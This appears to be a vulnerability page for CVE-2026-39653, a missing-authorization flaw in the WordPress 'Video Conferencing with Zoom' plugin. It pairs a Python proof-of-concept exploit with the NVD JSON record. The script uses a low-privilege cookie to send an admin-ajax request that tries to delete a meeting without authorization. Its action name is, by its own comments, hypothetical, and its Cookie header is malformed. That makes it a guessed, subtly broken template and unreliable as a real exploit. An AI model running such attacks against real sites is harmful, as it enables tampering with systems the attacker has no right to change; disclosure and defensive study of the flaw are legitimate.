CVE-2026-39653

import requests def exploit_missing_auth(target_url, session_cookie): """ PoC for CVE-2026-39653: Missing Authorization in Video Conferencing with Zoom. This script attempts to perform an administrative action without proper privileges. """ # Target endpoint (example, actual endpoint depends on plugin implementation) url = f"{target_url}/wp-admin/admin-ajax.php" # Payload simulating an action that should be restricted # e.g., deleting a meeting or updating settings payload = { "action": "vcz_api_delete_meeting", # Hypothetical action name "meeting_id": "12345" } # Headers with low-privilege user cookie headers = { "Cookie": f"wordpress_logged_in_{session_cookie}" } try: response = requests.post(url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if action was performed without authorization.") print(f"[+] Response: {response.text[:100]}") else: print("[-] Request failed.") except Exception as e: print(f"[-] Error: {e}") # Usage # exploit_missing_auth("http://target-site.com", "low_priv_user_cookie_value")

{"cve": {"id": "CVE-2026-39653", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:36.457", "lastModified": "2026-04-29T10:17:36.600", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Deepen Bajracharya Video Conferencing with Zoom video-conferencing-with-zoom-api allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Video Conferencing with Zoom: from n/a through <= 4.6.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/video-conferencing-with-zoom-api/vulnerability/wordpress-video-conferencing-with-zoom-plugin-4-6-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}